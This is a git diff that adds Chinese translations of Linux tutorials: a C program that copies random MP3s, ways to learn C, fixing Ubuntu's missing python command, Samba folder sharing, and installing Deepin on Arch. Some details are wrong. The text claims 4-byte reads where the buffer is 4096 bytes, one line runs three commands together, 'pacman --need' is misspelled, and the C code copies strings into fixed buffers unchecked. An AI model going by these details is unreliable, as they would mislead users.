+![](https://img.linux.net.cn/data/attachment/album/202207/26/223349t4yiqd1yikb9k117.jpg) + +> 使用我在 Linux 上制作的这个 C 程序在旅途中聆听你喜爱的歌曲。 + +我最近在 Linux 中编写了一个 C 程序,从我广泛的 MP3 库中创建一个较小的随机 MP3 文件选集。该程序会遍历一个包含我的 MP3 库的目录,然后创建一个包含随机的、较小的歌曲选集的目录。然后我将这些 MP3 文件复制到我的智能手机上,以便随时随地收听。 + +瑞典是一个人口稀少的国家,有许多农村地区没有完整的手机覆盖。这就是在智能手机上拥有 MP3 文件的原因之一。另一个原因是我并不总是有钱购买流媒体服务,所以我喜欢拥有自己喜欢的歌曲的副本。 + +你可以从它的 [Git 仓库][2] 下载我的应用。我专门为 Linux 编写了它,部分原因是在 Linux 上很容易找到经过良好测试的文件 I/O 例程。多年前,我尝试使用专有的 C 库在 Windows 上编写相同的程序,但在尝试文件复制时遇到了困难。Linux 使用户可以轻松直接地访问文件系统。 + +本着开源的精神,我没费多少力气就找到了 Linux 的文件 I/O 代码来激发我的灵感。我还发现了一些启发了我的分配内存的代码。我编写了随机数生成的代码。 + +该程序的工作方式如下所述: + +1. 询问源目录和目标目录。 +2. 询问存放 MP3 文件的目录下的文件个数。 +3. 搜索你希望复制的收藏的百分比(从 1.0% 到 88.0%)。如果你有 1000 个文件的集合,并希望从你的集合中复制 125 个文件而不是 120 个文件,你也可以输入 12.5% 之类的数字。我将上限设置为 88%,因为复制超过 88% 的库将基本生成与你的基础库相似的库。当然,代码是开源的,因此你可以根据自己的喜好自由修改。 +4. 使用指针和 `malloc` 分配内存。一些操作需要内存,包括代表音乐收藏中文件的字符串列表。还有一个列表来保存随机生成的数字。 +5. 生成所有文件范围内的随机数列表(例如,如果集合有 1000 个文件,则为 1 到 1000)。 +6. 复制文件。 + +其中一些部分比其他部分更简单,但代码只有大约 100 行: + +``` +#include +#include +#include +#include /* include necessary header files */ +#include +#include +#include +#include + +#define BUF_SIZE 4096 /* use buffer of 4096 bytes */ +#define OUTPUT_MODE 0700 /*protect output file */ +#define MAX_STR_LEN 256 + +int main(void) { + DIR *d; + struct dirent *dir; + char strTemp[256], srcFile[256], + dstFile[256], srcDir[256], dstDir[256]; + char **ptrFileLst; + + char buffer[BUF_SIZE]; + int nrOfStrs=-1, srcFileDesc, + dstFileDesc, readByteCount, + writeByteCount, numFiles; + int indPtrFileAcc, q; + + float nrFilesCopy; + // vars for generatingRandNumList + int i, k, curRanNum, curLstInd, + numFound, numsToGen, largNumRange; + int *numLst; + + float procFilesCopy; + printf("Enter name of source Directory\n"); + scanf("%s", srcDir); + printf("Enter name of destionation Directory\n"); + scanf("%s", dstDir); + printf("How many files does the directory with mp3 files contain?\n"); + scanf("%d", &numFiles); + printf("What percent of the files do you wish to make a random selection of\n"); + printf("enter a number between 1 and 88\n"); + scanf("%f", &procFilesCopy); + + // allocate memory for filesList, list of random numbers + ptrFileLst= (char**) malloc(numFiles * sizeof(char*)); + + for (i = 0; i < numFiles; i++) { + ptrFileLst[i] = (char*)malloc(MAX_STR_LEN * sizeof(char)); + } + + largNumRange = numFiles; + nrFilesCopy = (procFilesCopy / 100) * numFiles; + + numsToGen = (int)((procFilesCopy / 100) * numFiles); + printf("nrFilesCopy=%f", nrFilesCopy); + printf("NumsToGen=%d", numsToGen); + numLst = malloc(numsToGen * sizeof(int)); + srand(time(0)); + + numLst[0] = rand() % largNumRange + 1; + numFound=0; + do { + curRanNum = (int)rand() % largNumRange + 1; + if (numLst[0] == curRanNum) { + numFound=1; + } + } while(numFound == 1); + + numLst[1] = curRanNum; + getchar(); + curLstInd = 1; + i = 0; + while(1) { + do { + numFound = 0; + curRanNum = (int)rand() % largNumRange + 1; + for (int k = 0; k <= curLstInd; k++){ + if (numLst[k] == curRanNum) + numFound = 1; + } + } while(numFound == 1); + numLst[curLstInd+1] = curRanNum; + curLstInd++; + i++; + // numsToGen=Total numbers to generate minus two + // already generated by the code above this loop + if (i == (numsToGen-2)) + break; + } + + d = opendir(srcDir); + if (d) { + while ( (dir = readdir(d)) != NULL ) { + strcpy(strTemp, dir->d_name); + + if (strTemp[0] != '.') { + nrOfStrs++; + strcpy(ptrFileLst[nrOfStrs], strTemp); + } + } + closedir(d); + } + + for (q = 0; q <= curLstInd; q++) { + indPtrFileAcc = numLst[q]; + strcpy(srcFile, srcDir); + strcat(srcFile, "/"); + strcat(srcFile, ptrFileLst[indPtrFileAcc]); + strcpy(dstFile, dstDir); + strcat(dstFile, "/"); + strcat(dstFile, ptrFileLst[indPtrFileAcc]); + + srcFileDesc = open(srcFile, O_RDONLY); + dstFileDesc = creat(dstFile, OUTPUT_MODE); + + while(1) { + readByteCount = read(srcFileDesc, buffer, BUF_SIZE); + if (readByteCount <= 0) + break; + + writeByteCount = write(dstFileDesc, buffer, readByteCount); + if(writeByteCount <= 0) + exit(4); + } + + //close the files + close(srcFileDesc); + close(dstFileDesc); + } +} +``` + +这段代码可能是最复杂的: + +``` +while(1) { + readByteCount = read(srcFileDesc, buffer, BUF_SIZE); + if (readByteCount <= 0) + break; + + writeByteCount = write(dstFileDesc, buffer, readByteCount); + if (writeByteCount <= 0) + exit(4); +} +``` + +这将从指定的文件中读取多个字节(`readByteCount`)到字符缓冲区中。该函数的第一个参数是文件名(`srcFileDesc`)。第二个参数是一个指向字符缓冲区的指针,这之前在程序中声明过。该函数的最后一个参数是缓冲区的大小。 + +程序返回读取的字节数(在本例中为 4 个字节)。如果返回的数字为 0 或更少,则第一个 `if` 子句会跳出循环。 + +如果读取字节数为 0,则所有写入完成,循环中断以写入下一个文件。如果读取的字节数小于 0,则发生错误并退出程序。 + +当读取 4 个字节时,它会写入它们。`write` 函数接受三个参数。第一个是要写入的文件,第二个是字符缓冲区,第三个是要写入的字节数(4 个字节) .该函数返回写入的字节数。 + +如果写入了 0 个字节,则发生了写入错误,因此第二个 `if` 子句退出程序。 + +`while` 循环读取并复制文件,一次 4 个字节,直到文件被复制。复制完成后,你可以将随机生成的 mp3 文件的目录复制到你的智能手机。 + +复制和写入例程相当有效,因为它们使用 Linux 中的文件系统调用。 + +### 改进代码 + +该程序很简单,可以在用户界面和灵活性方面进行改进。例如,你可以实现一个计算源目录中文件数量的函数,这样你就不必手动输入它。你可以添加选项,这样你就可以非交互地传递百分比和路径。但是代码做了我需要它做的事情,它是 C 编程语言简单效率的演示。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/c-linux-mp3 + +作者:[Rikard Grossman-Nielsen][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rikardgn +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LIFE_musicinfinity.png +[2]: https://github.com/rikardgn/learnC/blob/main/randMp3Copy.c diff --git a/published/202207/20220714 5 ways to learn C programming on Linux.md b/published/202207/20220714 5 ways to learn C programming on Linux.md new file mode 100644 index 0000000000..4b7cc34de2 --- /dev/null +++ b/published/202207/20220714 5 ways to learn C programming on Linux.md @@ -0,0 +1,104 @@ +[#]: subject: "5 ways to learn C programming on Linux" +[#]: via: "https://opensource.com/article/22/7/learn-c-linux" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14869-1.html" + +在 Linux 上学习 C 语言的五种方式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/26/232122wc4c5g55363bgj5g.jpg) + +> 请下载我们的电子书获得在 Linux 和 FreeDOS 上 C 语言编程的提示和技巧。 + +有许多关于为什么 C 语言能够经久不衰的说法。或许是因为它语法简单明了。又或许是因为它常被认为是实用的语言,因为它不基于其他高级语言,可以在任何平台上编译运行。C 显然是一种强大的语言,并且我认为它经久不衰与它作为其他技术的基础的方式相关。这里有 5 项我喜爱的基于 C 语言的技术,希望它们能够帮助你更多的了解 C 语言。 + +### 1、GObject 和 GTK + +C 语言不是面向对象编程的语言。它没有 `class` 关键字。 一些人用 C++ 进行面向对象编程,但是还有一些人坚持用 C 和 GObject 库。GObject 库为 C 语言提供了一个 `class` 结构体,GTK 项目以提供可通过 C 访问的工具包而闻名。没有 GTK ,就没有 GIMP (GTK 就是为此开发的)、GNOME 和其他成千上百流行的开源应用。 + +#### 了解更多 + +GObject 和 GTK 是使用 C 开始进行 GUI 编程的绝佳方式。它们“装备精良”,可以让你用 C 语言进行图形应用的编程,因为开发者为你做了许多“繁重工作”。他们定义了类和数据类型,创建了工具包,你所要做的就是将所有东西放在一起。 + +### 2、Ncurses + +如果 GTK 超过了你的需求,你或许认为一个终端用户界面terminal user interface(TUI)更适合你。Ncurses 库可以在终端创建“小部件”,创建一种在终端窗口上绘制图形的应用程序。你可以使用方向键控制界面,选择按钮和元素,就像不用鼠标来使用 GUI 应用一样。 + +#### 了解更多 + +利用 Ncurses 库使用 C 语言写一个 [猜数字][3] 游戏。 + +### 3、Lua 和 Moonscript + +Lua 是一种脚本语言,它可以使用内置的 C API 访问 C 语言库。它十分精巧、快捷以及简单,拥有约 30 个函数和少量内置库。你可以使用 Lua 进行系统自动化、游戏修改和脚本编写、使用 LÖVE 之类的前端进行游戏开发,或者使用 GTK 进行一般应用程序开发(例如 [Howl 文本编辑器][4])。 + +#### 了解更多 + +Lua 十分好的一点是你可以从它开始学习掌握基本的编程理念,然后当你有足够勇气直面基础编程语言时,再探索它的 C 语言 API 。另一方面,如果你只会 Lua ,那也没事儿。Lua 有很多的 [外部库][5] ,使其成为各种开发方式的绝佳选择。 + +### 4、Cython + +Lua 不是唯一带有 C 接口的编程语言。[Cython][6] 是一种编译器和编程语言,旨在使为 Python 编写 C 扩展就像编写 Python 代码一样容易。本质上,你可以编写 Python 并最终得到 C 语言程序。最简单的示例: + +``` +print("hello world") +``` + +创建一个 `setup.py` 脚本: + +``` +from setuptools import setup +from Cython.Build import cythonize + +setup( + ext_modules = cythonize("hello.pyx") +) +``` + +运行该 `setup` 脚本: + +``` +$ python3 ./setup.py +``` + +最后你会在同一个目录中得到一个 `hello.c` 和 `hello.cpython-39-x86_64-linux-gnu.so` 文件。 + +#### 了解更多 + +[Cython][7] 是 Python 的一个超集,支持 C 语言的函数和数据类型。它不可能帮你直接学习 C 语言,但它为希望学习 C 代码并将其集成到 Python 中的 Python 开发人员开辟了新的可能性。 + +### 5、FreeDOS + +了解更多 C 语言的最好方式是编写 C 代码,没有什么比写你可以真正使用的代码更令人激动的了。FreeDOS 项目是 DOS 的开源实现, 而 DOS 是 Windows 的前身。或许你已经用过 FreeDOS 了,或者作为运行 BIOS 更新程序的便捷开源方法,或者在模拟器中玩经典的计算机游戏。你可以用 FreeDOS 做更多事情。它是学习 C 语言的理想平台,其中包含一系列工具,鼓励你编写自己的命令和简单(或不那么简单,如果你愿意)的应用程序。当然你可以在任何系统上写 C 代码,但是 FreeDOS 的便利可能会让你感到耳目一新。天空有极限,但即使在地面上,你也可以用 C 做一些非常有趣的事情。 + +### 下载电子书 + +你可以从我们编写的新 [电子书][8] 中学到更多 C 语言,并在我们的电子书中了解有关 FreeDOS 上 C 语言的更多信息。这些是编程文章的集合,可帮助你学习 C 语言,并演示如何以有用的方式用 C 写一些代码。 + +> **[下载电子书][8]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/learn-c-linux + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/laptop_screen_desk_work_chat_text.png +[2]: https://opensource.com/downloads/guide-c-programming +[3]: https://opensource.com/article/21/8/guess-number-game-ncurses-linux +[4]: https://opensource.com/article/20/12/howl +[5]: https://opensource.com/article/19/11/getting-started-luarocks +[6]: http://cython.org +[7]: https://opensource.com/article/21/4/cython +[8]: https://opensource.com/downloads/guide-c-programming diff --git a/published/202207/20220714 Fixing -Command -python- not found- Error in Ubuntu Linux.md b/published/202207/20220714 Fixing -Command -python- not found- Error in Ubuntu Linux.md new file mode 100644 index 0000000000..9531c34ad2 --- /dev/null +++ b/published/202207/20220714 Fixing -Command -python- not found- Error in Ubuntu Linux.md @@ -0,0 +1,138 @@ +[#]: subject: "Fixing “Command ‘python’ not found” Error in Ubuntu Linux" +[#]: via: "https://itsfoss.com/python-not-found-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14878-1.html" + +修复 Ubuntu Linux 中 “Command ‘python’ not found” 的错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/30/071627r176w1k1y5dkkw6w.jpg) + +如何在 Linux 终端中运行一个 Python 程序?像这样,对吗? + +``` +python program.py +``` + +然而,如果你试图在 Ubuntu(和其他一些发行版)中使用 `python` 命令,它会抛出一个错误。 + +``` +command ‘python’ not found, did you mean: +command ‘python3’ from deb python3 +command ‘python’ from deb python-is-python3 +``` + +如果你注意这个错误信息,它说明了很多东西。**这里的 `python` 命令实际上是 `python3`**。 + +如果你不理解,不用担心。我将在这里详细解释。 + +### 为什么在 Ubuntu 上没有发现 python 命令? + +这是因为 Python 语言不是以 `python` 的形式安装的,而是以 `python3` 或 `python2` 的形式安装的(在一些老的 Ubuntu 版本中)。 + +在遥远的过去的某个时间点,Python 实际上是作为 `python` 包/可执行文件提供的。当 Python 发布第二版时,Ubuntu 和其他发行版不得不同时支持 Python 1.x 和 2.x 版本。 + +因此,他们将较新的 Python 版本命名为 `python2`,以区分这两个版本。其他应用或库也在其代码中指定 `python` 或 `python2`。 + +最终,Python 1 版本被完全停用,但软件包继续被命名为 `python2`。 + +类似地,当 Python 3 版本发布时,发行版开始同时提供 `python2` 和 `python3` 包。 + +Python 2 不再被支持,Python 3.x 是你在 Ubuntu 上安装的版本。该软件包仍被命名为 `python3`。 + +**总结一下,你已经在 Ubuntu 上安装了 Python。它是以 `python3` 软件包方式使用的。** + +那么,当你 [在 Ubuntu 上看到 “Python command not found” 的错误][1] 时,你有什么选择?让我来介绍一下。 + +### 确保你的系统中已经安装了 Python + +它应该已经安装了,但仔细检查一下也无妨。 + +Ubuntu 18.04 也有 Python 2,但 20.04 及更高版本只有 Python 3。不过,你有哪个版本: + +``` +type python python2 python3 +``` + +正如你在下面的截图中看到的,我的系统上安装了 Python 3 版本。 + +![Checking Python version in Ubuntu][2] + +如果你没有安装任何 Python 版本,你可以用以下命令安装 Python 3 版本。 + +``` +sudo apt install python3 +``` + +### 使用 python3 而不是 python + +如果对你来说不是太麻烦,在需要的地方使用 `python3` 命令而不是 `python`。 + +想检查已安装的 Python 版本吗?请这样输入: + +``` +python3 --version +``` + +然后你会在输出中得到版本的详细信息: + +``` +~$ python3 --version +Python 3.10.4 +``` + +如果你必须运行一个 Python 程序,请像这样执行它: + +``` +python3 program.py +``` + +这在大多数情况下应该对你有用。但是,如果你使用的是一些(旧的)Python 应用,期望在其代码中运行 Python 可执行文件,你就会有问题。别担心,你也可以绕过它。 + +### 将 python3 链接为 python + +你可以在你的 `.bashrc` 文件中创建一个永久别名,像这样: + +``` +alias python='python3' +``` + +这样,你可以运行 `python` 命令,而你的系统运行 `python3`。 + +这在大多数情况下都会起作用,除非某些程序期望运行 `/usr/bin/python`。现在,你可以在 `/usr/bin/python` 和 `/usr/bin/python3` 之间建立符号链接,但对于 Ubuntu 用户来说,存在一个更简单的选择。 + +对于 Ubuntu 20.04 和更高版本,如果你安装了 `python-is-python3` 软件包,你有一个软件包可以自动完成所有链接创建。这也是原始错误信息所提示的。 + +``` +sudo apt install python-is-python3 +``` + +![install python is python3 ubuntu][3] + +你可以看到符号链接已经被创建,你可以使用 `python` 命令(实际上是运行 `python3`),没有任何问题。 + +![checking python ubuntu][4] + +我希望这能澄清 Ubuntu 中 Python 软件包的问题。如果你有任何问题或建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/python-not-found-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/bash-command-not-found/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/check-python-version-ubuntu.png +[3]: https://itsfoss.com/wp-content/uploads/2022/07/install-python-is-python3-ubuntu.png +[4]: https://itsfoss.com/wp-content/uploads/2022/07/checking-python-ubuntu.png diff --git a/published/202207/20220716 Guide- How to Share A Folder Between Ubuntu-Linux and Windows.md b/published/202207/20220716 Guide- How to Share A Folder Between Ubuntu-Linux and Windows.md new file mode 100644 index 0000000000..6e5fa9d287 --- /dev/null +++ b/published/202207/20220716 Guide- How to Share A Folder Between Ubuntu-Linux and Windows.md @@ -0,0 +1,97 @@ +[#]: subject: "Guide: How to Share A Folder Between Ubuntu/Linux and Windows" +[#]: via: "https://www.debugpoint.com/guide-how-share-folder-between-ubuntu-linux-windows/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14850-1.html" + +如何在 Ubuntu/Linux 和 Windows 之间共享文件夹 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/21/104750kh3y9craf6s6nasj.jpg) + +> 本初学者指南解释了如何在 Ubuntu/Linux 中快速共享一个文件夹。 + +在 Ubuntu/Linux 中共享一个文件夹并在其他操作系统(如 Windows)中通过网络访问并不难。默认情况下,Ubuntu 并没有安装所需的软件包。但是,你可以打开安装向导来自动安装所需的软件。 + +本 [指南][1] 适用于所有 Ubuntu 版本(包括 [22.04][2]、20.04、18.04、19.10 以及即将发布的版本 —— 除非此功能的设计发生重大的变化)。 + +### Ubuntu 中共享文件夹的步骤 + +**步骤 1:** 打开文件管理器,右键单击共享的文件夹。点击上下文菜单中的“本地网络共享”选项。 + +![本地网络共享选项][3] + +**步骤 2:** 在文件夹共享对话框中点击共享文件夹复选框。 + +这将在你的系统中安装 [Samba][4] 软件包。Samba 用于在 Windows 和 Unix 系统之间通过网络共享文件和打印机。 + +![文件夹共享选项 - 安装 Samba][5] + +**步骤 3:** 安装 Samba 后,执行以下操作共享文件夹或目录。 + + * 选中共享文件夹复选框。 + * 输入共享名称。这将是你从另一个系统(如 Windows)看到的名称。尽量不要使用任何带有空格的名称。 + * (可选)通过勾选相应选项,你可以控制共享文件夹的写入权限,以及允许访客访问。 + * 如果你允许访客访问,则没有凭据的人可以访问共享文件夹。所以要谨慎。 + * 如果你希望用户输入用户名和密码,打开终端并运行以下命令。 + +``` +sudo smbpasswd -a 用户名 +``` + +`用户名` 应该是对应 Ubuntu 系统的有效用户。 + +现在,你应该已经设置好了共享的文件夹或目录。 + +### 如何访问共享文件夹 + +从 Ubuntu/Linux 系统中访问共享文件夹,你需要系统的 IP 地址或主机名。为此,打开“系统设置System Settings -> Wi-Fi -> 获取 IP 地址Get the IP address”。 + +![IP 地址设置][6] + +如果你运行的是 Linux 发行版不是 Ubuntu,此步骤略有不同。你可能想运行 `ip addr` 来获取 IP 地址,如下所示: + +![在 Linux 中查找 IP 地址][7] + +一旦你获得 IP 地址,就可以在 Ubuntu/Linux 系统中打开文件管理器,然后在地址栏中输入以下内容。注意:你应该修改为你系统的 IP 地址。 + +你现在可以看到共享文件夹上面显示了一个小共享图标,表示网络共享文件夹。 + +![共享文件夹][8] + +要在 **Windows 系统** 访问共享文件夹,打开运行(按下 `Windows + R`)或打开资源管理器,输入以下地址。注意:你应该修改为你系统的 IP 地址和文件夹名称。 + +``` +\\192.168.43.19\Folder +``` + +你应该能够查看共享文件夹的内容,并根据授予的权限修改它。 + +### 总结 + +我已经向你展示了如何从 Ubuntu 共享一个件夹,并通过 IP 地址在 Windows 系统中访问。对于其他 Linux 发行版,你也可以执行相同的步骤。如果本文对你有帮助,在下面的评论框中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/guide-how-share-folder-between-ubuntu-linux-windows/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/tutorials/ +[2]: https://www.debugpoint.com/web-stories/ubuntu-22-04-review/ +[3]: https://www.debugpoint.com/wp-content/uploads/2020/01/Local-Network-Share-Option.jpg +[4]: https://en.wikipedia.org/wiki/Samba_(software) +[5]: https://www.debugpoint.com/wp-content/uploads/2020/01/Folder-Sharing-Option-Install-Samba-1024x552.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2020/01/IP-Address-Settings.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2020/01/Finding-out-IP-Address-in-Linux.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2020/01/Share-Folder-1.jpg diff --git a/published/202207/20220716 How to Install Deepin Desktop in Arch Linux [Complete Guide].md b/published/202207/20220716 How to Install Deepin Desktop in Arch Linux [Complete Guide].md new file mode 100644 index 0000000000..aca08fc6d4 --- /dev/null +++ b/published/202207/20220716 How to Install Deepin Desktop in Arch Linux [Complete Guide].md @@ -0,0 +1,314 @@ +[#]: subject: "How to Install Deepin Desktop in Arch Linux [Complete Guide]" +[#]: via: "https://www.debugpoint.com/deepin-arch-linux-install-20/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14867-1.html" + +如何在 Arch Linux 中安装深度桌面(DDE) +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/26/170414x01pmevoo8o8b6ob.jpg) + +> 在本指南中,我们将解释在 Arch Linux 中安装漂亮的深度桌面(DDE)所需的步骤。 + +指南的第一部分解释了安装 Arch 基本系统的步骤。第二部分是在 Arch Linux 的基础上安装完整的深度桌面。 + +### 什么是深度桌面(DDE)? + +[深度操作系统][1] 是一个基于 Debian 稳定分支的、功能丰富且漂亮的桌面环境。深度桌面环境(DDE)是深度操作系统自主开发的桌面环境。它由它自己的 dde-kwin 窗口管理器驱动。深度桌面带有漂亮的停靠区和许多预装的深度原生的应用程序。 + +这个令人眼花缭乱的桌面环境 [可在 Arch 仓库中找到][2];这篇文章介绍了如何在 Arch Linux 中安装深度桌面。 + +本指南安装深度桌面环境 20.1。然而,其他版本的步骤也应该是类似的。 + +### 第一部分:安装 Arch Linux + +如果你已经安装了 Arch Linux,你可以跳过这一步,直接进入安装深度桌面部分。 + +要快速安装基本的 Arch Linux,请按照以下步骤进行。你也可以访问 [本指南][3] 了解以双启动或在虚拟机上安装 Arch Linux 的完整教程。 + +#### 下载 Arch Linux + +从下面的链接下载 Arch Linux 的 .iso 文件。这里有磁力链和 BT 链接。一旦你下载好了,就把 ISO 写入 U 盘。然后从该驱动器启动。 + +> **[下载 Arch Linux][4]** + +如果你打算通过 [GNOME Boxes][5]、[virt-manager][6] 将其安装为虚拟机镜像 —— 那么你不需要将其写入 U 盘。 + +#### 启动和配置分区 + +从 Arch Linux ISO 启动后,你必须运行一系列的命令来安装基本系统。 + +首先,运行下面的命令,找出设备的标识符。 + +``` +fdisk -l +``` + +![fdisk -l 之前的分区][7] + +然后用此设备标识符,运行下面的命令,开始对你的磁盘进行分区。请确保根据你的系统而修改下面的 `/dev/sda` 参数。 + +``` +cfdisk /dev/sda +``` + +在下一个提示中选择 `label type = dos`。 + +选择可用空间,并从底部选择 “NEW” 选项。在这个例子中,我将创建三个分区,如下所示: + +``` +/dev/sda1 - 1G - for /boot +/dev/sda2 - 5G - for root +/dev/sda3 - 1G - for swap +``` + +![cfdisk][8] + +在下一个屏幕中,提供启动分区(`/boot`)的大小(在这个例子中,我给出了 1GB)。选择它作为主分区。 + +对 5GB 大小的主根分区(`/`)重复同样的步骤。 + +![改变交换分区的类型][9] + +用同样的步骤创建一个大小为 1G 的交换分区(你可以根据你的需要改变大小)。创建交换分区后,确保在底部选择类型,并将其标记为 “Linux Swap/Solaris” 选项的交换分区。 + +![cfdisk 的最终分区列表][10] + +完成后,用底部的 “Write” 选项将变化写到磁盘上。确保你在写之前做一个备份,因为这是你系统中的一个永久性的改变。 + +在你继续之前,运行下面的命令来检查。在这个例子中,你可以看到,列出了三个分区。 + +``` +fdisk -l +``` + +![fdisk 中的最终分区列表][11] + +依次运行下面的命令,在上面新创建的分区中格式化并创建一个 ext4 文件系统。确保你根据你的需要改变 `/dev/sda1` 和 `/dev/sda2` 参数。 + +``` +mkfs.ext4 /dev/sda1 +mkfs.ext4 /dev/sda2 +mkswap /dev/sda3 +swapon /dev/sda3 +``` + +完成后,挂载系统并创建必要的目录。 + +``` +mount /dev/sda2 /mnt +mkdir /mnt/boot /mnt/var /mnt/home +mount /dev/sda1 /mnt/boot +``` + +同样,确保你根据你的系统改变 `/dev/sda1`、`/dev/sda2` 和 `/dev/sda3` 参数。 + +![准备文件系统][12] + +#### 安装基本系统 + +我希望你已经连接到互联网了。如果没有,请尝试使用 USB 网卡或有线网络连接,Arch 安装程序会自动配置和检测。如果你没有可用的有线连接,请按照本指南使用 Arch Linux 安装程序配置无线 Wi-Fi 网络。 + +依次运行下面的命令,将基本系统安装到挂载的分区中。下载的大小约为 400MB。 + +``` +pacman -Syy +pacstrap /mnt base base-devel linux linux-firmware nano dhcpcd net-tools grub +``` + +![安装基本系统][13] + +一旦完成,生成一个文件系统表,没有这个表你就无法启动系统。 + +``` +genfstab -U /mnt >> /mnt/etc/fstab +``` + +#### 配置基本系统 + +依次按照下面的命令来配置基本系统。这包括设置你的地区和语言,添加一个登录用户,以及设置互联网。 + +``` +arch-chroot /mnt +nano /etc/locale.gen +``` + +去掉开头的 `#`,取消对你选择的语言环境的注释。在本指南中,我选择了 `en_US.UTF-8 UTF-8`。按 `CTRL+O`、回车和 `CTRL+X` 退出 nano。 + +![改变语言环境][14] + +使用以下方法生成语言环境数据。 + +``` +locale-gen +``` + +使用下面的命令设置语言。 + +``` +echo LANG=en_US.UTF-8 > /etc/locale.conf +export LANG=en_US.UTF-8 +``` + +设置本地时区。 + +``` +ln -s /usr/share/zoneinfo/America/New_York /etc/localtime +``` + +同样,你可以根据你的需要来选择它们。你可以通过以下命令列出本地时区。 + +``` +ls /usr/share/zoneinfo +ls /usr/share/zoneinfo/America +``` + +依次使用下面的命令设置硬件时钟、创建主机名并启用互联网的 DHCP。你可以根据你的想法把 `debugpoint-pc` 改为任何主机名。 + +``` +hwclock --systohc --utc +echo debugpoint-pc > /etc/hostname +systemctl enable dhcpcd +``` + +下一步是设置 `root` 用户的密码、创建一个管理员用户,并将该用户添加到 `sudoers` 文件中。 + +按照下面的命令依次进行。确保根据你的需要将用户名`debugpoint` 改为其他名称。 + +``` +passwd rootuseradd -m -g users -G wheel -s /bin/bash debugpointpasswd debugpoint +``` + +![创建用户][15] + +打开 `sudoers` 文件,添加以下几行。 + +``` +nano /etc/sudoers +``` + +添加下面几行。由于你已经创建了 `root` 用户,该条目应该已经有了。 + +``` +root ALL=(ALL) ALL +debugpoint ALL=(ALL) ALL +``` + +![更新 sudoers 文件][16] + +安装 GRUB,建立初始的 Ramdisk 环境,并使用下面的命令卸载系统。 + +``` +grub-install /dev/sda +grub-mkconfig -o /boot/grub/grub.cfg +mkinitcpio -p linux +exit +``` + +![配置 GRUB][17] + +然后重新启动你的系统。 + +``` +umount /mnt/boot +umount /mnt +reboot +``` + +现在你已经成功地安装了 Arch Linux 基本系统。现在是安装完整的深度桌面的时候了。 + +### 第二部分:在 Arch Linux 中安装深度桌面 + +重新启动后,从 GRUB 中选择 Arch Linux。在 Arch Linux 的提示符下,开始依次运行以下命令。这些命令安装 Xorg 服务器、Lightdm 显示管理器和深度桌面组件。 + +对于所有的命令,使用默认的包版本,即在询问时按回车。 + +安装 Xorg 和显示管理器。大约安装大小为 80 MB。 + +``` +sudo pacman -S --need xorg lightdm +``` + +安装额外的组件和应用程序(约 550 MB)。 + +``` +sudo pacman -S --need deepin deepin-extra +``` + +安装完成后,通过修改 Lightdm 配置文件启用深度欢迎页。按照下面的命令。 + +``` +nano /etc/lightdm/lightdm.conf +``` + +并添加下面这一行。保存该文件(`CTRL+O`、`CTRL+X`)。 + +``` +greeter-session=lightdm-deepin-greeter +``` + +![在 Lightdm 登录页中添加深度欢迎欢迎页][18] + +现在是时候把显示管理器和网络管理器作为服务启用了。这样,下次登录时,它们就可以由 systemd 自动运行。 + +``` +systemctl enable lightdm +systemctl enable NetworkManager +``` + +![启用 Lightdm 和网络][19] + +使用 `reboot` 命令重新启动系统。 + +``` +reboot +``` + +如果一切顺利,你应该看到深度桌面的登录提示。使用你刚刚在上面的步骤中创建的凭证登录。你应该会看到最新的深度桌面环境。 + +![Arch Linux 中的深度 20.1 登录屏幕][20] + +![Arch Linux中的深度桌面 20.1][21] + +### 总结 + 